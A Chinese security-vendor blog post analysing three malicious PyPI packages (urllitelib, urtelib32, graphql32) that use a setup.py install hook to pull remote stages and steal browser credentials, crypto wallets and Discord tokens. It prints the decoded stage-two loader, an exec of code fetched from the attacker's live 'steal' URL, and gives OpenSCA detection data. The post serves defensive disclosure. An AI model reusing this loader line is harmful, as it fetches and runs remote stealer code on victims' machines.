安全情报 | Pypi再现窃密攻击投毒

供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析) 针对本分析报告中的投毒样本,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。 阅读详情

概述

悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。

上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。

图片

(https://www.pepy.tech/projects/urllitelib)

图片

图片

目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

图片

投毒窃密分析

从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。

投毒攻击流程

当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。

投毒包攻击流如下图所示:

图片

恶意样本分析

以  urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

图片

远程下载攻击载荷

第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png)的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:

ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ

base64解码后,第二阶段攻击Payload真实内容如下:

b"exec(requests.get('http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"

第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

图片

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。

反调试&虚拟机对抗

如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

图片

获取系统敏感信息

恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

图片

窃取浏览器用户数据

恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

图片

盗取区块链钱包账户数据

恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

图片

盗取Discord及主流浏览器token

此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

图片

IoC数据

此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

图片

总结

截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。

排查方式

使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。

[  {    "product": "urllitelib",    "version": "[1.0.0, 1.2.0]",    "language": "python",    "id": "XMIRROR-2023-70549",    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",    "release_date": "2023-09-18"  },  {    "product": "urtelib32",    "version": "[1.7.2, 1.8.1]",    "language": "python",    "id": "XMIRROR-2023-70550",    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",    "release_date": "2023-09-18"  },  {    "product": "graphql32",    "version": "[1.7.2, 1.8.4]",    "language": "python",    "id": "XMIRROR-2023-70551",    "description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",    "release_date": "2023-09-18"  }]

悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。

供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击 2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。,若命令运行结果如下图所示,则代表系统已被安装该恶意组件,请尽快通过命令。 阅读详情

相关推荐

供应链投毒预警 | 恶意Py包开展Windows木马远程植入攻击

悬镜安全近日在python仓库捕获1起利用开源组件perfviewer进行远程木马植入的投毒攻击事件,请速排查。

Anprou的博客 1014

聊聊使用错误采集平台sentry踩到的坑

sentry简介Sentry 是一款专业的企业级错误跟踪和日志分析工具,旨在帮助开发人员、管理员和产品经理跟踪、分析和解决应用程序错误和性能问题。Sentry 可以跟踪应用程序中的错误,并将它们记录下来,以便开发人员能够快速定位和解决问题。Sentry 可以分析应用程序的日志,并提供详细的信息,如错误级别、调用堆栈、数据库访问等,以帮助开发人员快速定位和解决问题。Sentry 可以通过电子邮件、Slack、PagerDuty 等渠道通知开发人员错误和性能问题的发生,以便及时响应和解决问题。

kingwinstar的博客 522

从tohoku-tus-iot-automation事件剖析PyPI供应链投毒攻击与防御

软件供应链安全是保障现代软件开发与部署生命线的核心议题,其核心原理在于攻击者通过污染开发者所依赖的公共代码仓库(如PyPI、npm),将恶意代码注入到广泛使用的开源组件中。这种攻击的技术价值在于其极高的隐蔽性和传播效率,能够绕过传统边界防御,直接渗透至开发环境和生产系统。典型的应用场景包括开源生态中的依赖项安装(如pip install、npm install),攻击者常利用拼写错误变体(typosquatting)、劫持废弃项目或伪装成合法新工具等方式进行投毒。以近期发现的恶意Python组件tohoku

weixin_29327977的博客 270

小心白蛇!PyPI仓库被持续投放White Snake后门组件

墨菲安全实验室在持续监测开源软件仓库中的投毒行为,4 月 14 日起陆续发现至少 41 个包含白蛇(White Snake)后门的 Python 包被发布到 PyPI 仓库,目前相关的后门包仍在持续发布。

murphysec的博客 826

PyPi恶意包攻击链剖析:从pip install到Sliver后门植入

软件供应链安全是当今开发领域的关键议题,其核心在于保障从代码源头到最终交付的每个环节的完整性。攻击者常利用开发者对常用工具链的信任,通过伪装合法依赖包的方式实施供应链攻击。这类攻击的技术原理通常涉及依赖混淆、包名仿冒和安装钩子劫持,在pip install过程中自动执行恶意代码。其技术价值在于能够大规模、自动化地渗透开发环境,危害远超传统单点攻击。在Python生态中,PyPi软件包仓库已成为攻击者的重点目标,恶意包通过诱导安装Sliver后门等载荷,实现对开发者机器的持久化控制。理解此类攻击的完整链条,包

dianxiangong2403的博客 398

已下载1万次,PyPI库发现116 个恶意软件包,感染Windows 和 Linux 系统

ESET 的研究人员 Marc-Etienne M.Léveillé 和 Rene Holt 在本周早些时候发布的一份报告中表示:“在某些情况下,最终的有效载荷是臭名昭著的 W4SP Stealer 的变体,和一个简单的剪贴板监控器用于窃取加密货币,或者两者兼而有之。然后,上个月,伪装成看似无害的混淆工具的恶意软件包被发现部署了一个名为 BlazeStealer 的窃取型恶意软件。这一披露也是在发现 npm 包的后续行动中,这些 npm 包被发现是针对一个未具名金融机构的“高级对手模拟演习”的一部分。

leyang0910的博客 583

月下载9700万的Python库被“投毒”!Karpathy紧急警告:一行pip install,敏感数据全泄

但就在 3 月 24 日,这个看似无害的动作,差点变成一场席卷整个开源生态的安全灾难:出问题的是 AI 开发圈中使用非常广泛的 Python 库 LiteLLM,它在 PyPI 上发布的两个版本(1.82.7 和 1.82.8)被发现包含恶意代码。的是,一旦凭证被窃取,攻击者就可以登录云服务,接管代码仓库,并发布新的恶意版本,从而形成一个不断扩散的攻击链条。在庞大的依赖体系之上:一个项目可能依赖几十甚至上百个库,每个库又有自己的依赖,最终形成一个复杂的“依赖树”表面上,这只是一次普通的版本更新。

优快云资讯 3140

VerilogEval实战指南:从基准测试到模型微调的全流程解析

本文提供了VerilogEval实战指南,详细解析了从基准测试到模型微调的全流程。VerilogEval是一个自动化、标准化的测试框架,用于客观评估大语言模型生成Verilog硬件代码的能力。文章涵盖了环境搭建、核心机制解析、利用其生成合成数据进行模型微调的策略,以及如何将其工程化集成到自动化评估流程中,为硬件设计领域的AI应用提供了完整的方法论。

yy01234的博客 1005

PyPI 中发现六个针对 Windows 用户的恶意软件包

攻击与此前披露的 W4SP 攻击团伙类似,根据相似之处,分析人员判断这是一次模仿攻击。攻击不针对任何特定组织没有创建拼写错误的流行软件包对应的恶意软件包后续攻击未加密,检测并不困难W4SP 先前攻击的大部分代码都可以下载,可以重新利用这些软件包没有包含明显的恶意代码,而是经过精心设计,具有在安装或执行过程中触发的特定入口点。结合免费文件托管服务与自定义入口点,使得检测与发现此类威胁变得更有挑战。尽管攻击较简单,但可能会非常有效。

Innocence_0的博客 159

Zephyr RTOS线程间通讯实战:消息队列与信号量的5个经典应用场景

本文深入探讨了Zephyr RTOS中线程间通讯的核心机制,通过消息队列与信号量的组合,详细解析了传感器数据处理流水线、命令分发系统、日志记录、资源池管理以及周期性任务协同调度等5个经典应用场景。这些实战模式为构建高效、稳定且可维护的嵌入式多线程系统提供了清晰的设计蓝图和代码范例。

tomato的博客 96

Python+Selenium实战:5分钟搞定快手评论区数据采集(附完整代码)

本文详细介绍了如何使用Python和Selenium快速采集快手评论区数据,提供完整的代码实现和优化方案。通过动态加载处理和智能等待策略,5分钟内即可构建高效的评论采集工具,适用于用户行为分析和内容挖掘等场景。

weixin_30415113的博客 344

AI供应链情报预警 | 恶意Py包伪装AI框架库开展数据窃密及应用劫持攻击

依托悬镜安全团队强大的数字供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报预警、情报溯源、可视化关联分析等企业级服务。在发布当日,恶意组件pytensorlite官方下载量接近900次,悬镜安全已于第一时间通报Python官方,并将该投毒组件的技术分析细节向XSBOM供应链安全情报订阅用户进行推送预警。

软件供应链安全选型指南 1299

画了多年板子才搞懂:Allegro内电层负片连接,Thermal Relief和Anti-Pad避坑全解析

本文深入解析Allegro内电层设计中Thermal Relief与Anti-Pad的关键技术要点,帮助工程师避免常见设计陷阱。通过六层板实战案例,详细阐述负片连接逻辑、热风焊盘参数设计及隔离盘优化策略,提升PCB设计的可靠性与EMI性能。

weixin_28731223的博客 265

供应链投毒预警 | 恶意Py组件tohoku-tus-iot-automation开展窃密木马投毒攻击

上周(2024年3月6号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起新的Py包投毒事件,Python组件tohoku-tus-iot-automation从3月6号开始连续发布6个不同版本恶意包,其中多个版本恶意代码使用PyArmor进行加密混淆保护,这些恶意包主要针对Windows平台的Python开发者,除了会窃取系统基础信息和主流浏览器(Edge、Chrome)用户密码数据,还会远程下载木马程序植入到开发者系统中盗取系统密码。

Anprou的博客 1435

向华为学习——IPD流程体系之IPD术语

《IPD体系核心概念与业务术语解析》摘要: IPD(集成产品开发)是一种以市场为导向的结构化产品开发管理模式,通过跨部门协作、异步开发、CBB(通用构建模块)和管道管理等手段,实现产品全生命周期高效管理。体系包含七大核心要素:跨部门团队(如IPMT决策层、PDT执行层)、结构化流程(分阶段评审)、端到端项目管理(WBS分级计划)、客户需求分析、投资组合优化及质量管控(TR技术评审)。各业务领域术语涵盖财务(NPV、IRR)、开发(需求分解、基线化)、制造(可制造性设计)、采购(Sourcing团队)及市场(

cdfunlove的博客 483

为什么 ChatGPT 生成的下载地址会长成 sky-metal-cards-jerry.quirkypony34.chatgpt.site 这种奇怪的样子

我今天看到的这条地址,确实很容易让人产生一种感觉,ChatGPT 明明只是生成了几张 PNG 图片和一个压缩包,为什么最终拿到的却不是类似这种看起来很正规的下载链接,而是一长串带有、UUID、apidecks的地址。更容易让人疑惑的是,其中还出现了一个平时很少见到的域名。这并不是浏览器随机生成的临时 URL,也不是某个来历不明的第三方文件服务器。根据 OpenAI 在 2026 年公布的 ChatGPT Sites 文档和相关服务条款,

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 65

2025年国内投毒情报市场占有率分析报告

随着全球软件供应链攻击进入爆发期,2024年至2025年,国内企业对恶意组件投毒的情报需求呈现指数级增长。我主要希望通过对国内主流投毒情报供应商的技术深度、数据实时性、生态覆盖面及市场反馈进行多维度评估,希望能给大家提供一份可参考的选型指南。

2302_79028931的博客 1101

什么是 SAP Build Process Automation?

SAP Build Process Automation 是一款综合性的低代码工具,允许企业用户快速开发和自动化端到端业务流程。它整合了工作流管理、任务自动化和人工智能技术,提供了一个易于使用的平台,帮助企业更好地应对现代商业挑战。通过该工具,用户无需具备深厚的编程技能即可创建复杂的业务流程。例如,用户可以使用直观的拖放式界面设计流程、设置触发条件、定义任务分配规则,并通过内置的分析功能对流程效率进行评估。流程建模与设计:提供图形化界面,帮助用户直观地设计业务流程。任务自动化。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 1260

【安全通知】PyPI 官方仓库遭遇request恶意包投毒

作者:腾讯洋葱反入侵系统七夜、vspiders、conan近日,腾讯洋葱反入侵系统检测发现 PyPI官方仓库被恶意上传了request 钓鱼包,由于国内开源镜像站均同步于PyPI官方仓库...

Tencent_SRC的博客 5732

魔改短线利器DPO指标,频繁交易也能盈利超30倍?手机同花顺可用!

昨天我们提示了一些高位风险板块,今天来看基本上都在跌幅前列。这一波由AIGC驱动的大行情,短期来看可能已经到了尾声。中期大家可以关注30日线和60日线是否有支撑,这种现象级的生产力变革主导的行情不可能直接就凉了——哪怕相关的企业距离从中获利还很遥远。在A股,当前是否盈利并不是当前股价的主要矛盾。保守的同学不妨关注下昨天的机会列表,里边全是一些超跌的板块,短期可能会延续弱势,但是一旦站上20日线,可能就会有一波超跌反弹的行情。AIGC中的资金外流,大概率会有一些低位板块得到临幸。

量化祛魅师 老Q。 1万+

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

紧急AI安全情报 | 热门AI训练框架Pytorch Lightning遭受窃密蠕虫后门投毒

此外还会横向侵染开发者本地环境中的 NPM 包 Tar包,实现供应链层面的持久扩散与跨供应链生态的二次传播。,导入lightning库后立即启动后台线程加载第一阶段payload代码 _runtime/start.py ,第一阶段 payload 实际为 JS 蠕虫后门加载器,首先检测目标系统环境并下载安装对应版本的JS Bun 运行时环境,接着调用bun执行近 11MB大小的高度混淆的Shai-Hulud窃密蠕虫JS 后门文件 _runtime/route_runtime.js。

软件供应链安全选型指南 537

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

AI安全公司悬镜发布情报预警,利用开源组件perfviewer进行远程木马植入的投毒攻击事件,请速排查

近日(2025.11.18),悬镜供应链安全情报中心在python官方仓库中捕获1起针对对Windows平台开展远程木马植入攻击的恶意组件投毒事件,攻击者连续发布5个版本 perfviewer 组件包(https://pypi.org/project/perfviewer),其主要功能是在组件安装时静默下载攻击者托管在github仓库上的恶意EXE及。从远程木马程序链接可知,攻击者将恶意木马程序直接托管在GitHub平台上,对应的git repo地址如下所示。查询系统中是否已安装存在恶意投毒的组件。

分享软件供应链安全最新技术与最佳实践 760

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

供应链投毒与窃密木马的协同攻击机制及防御策略

摘要 随着软件供应链全球化程度的加深,针对代码托管平台及开源生态系统的攻击已成为网络安全领域最严峻的挑战之一。本文基于对FBI网络入侵事件、GitHub分发渠道被滥用以及ARPA(高级研究计划局)相关项目受波及等典型案例的深度剖析,揭示了现代高级持续性威胁(APT)组织如何利用“供应链投毒”与“窃密木马(Stealer)”分发相结合的混合攻击模式。研究发现,攻击者不再局限于单一的技术突破,而是通过污染可信的分发节点、劫持自动化构建流程以及利用开发者信任链,将恶意代码植入合法软件包中,进而实现大规模的数据窃取

436

警惕!热门开源 AI 推理框架 Xinference 遭流水线投毒,悬镜安全首发小时级情报预警

大模型时代的到来,使得大模型推理框架、数据链路及大模型组件成为了黑客眼中的“新黄金跳板”。从早期的开源生态污染到如今针对大模型数字供应链的定向投毒,传统的边界防御正面临范式颠覆。针对此类突发投毒事件,企业仅靠事后人工排查往往滞后于攻击。悬镜安全正式发布的新一代 AI 原生安全治理平台——“问境 AIST”,已将全网领先的AI 供应链安全情报深度纳入整体治理框架。当外部突发针对特定 AI 框架或模型组件的 0Day 攻击与供应链投毒时,

软件供应链安全选型指南 411
上一篇: 推荐收藏!年度Top20开源许可证风险等级
下一篇: 供应链安全情报 | cURL最新远程堆溢出漏洞复现与修复建议
OpenSCA社区
博客等级 码龄4年 171粉丝 42原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值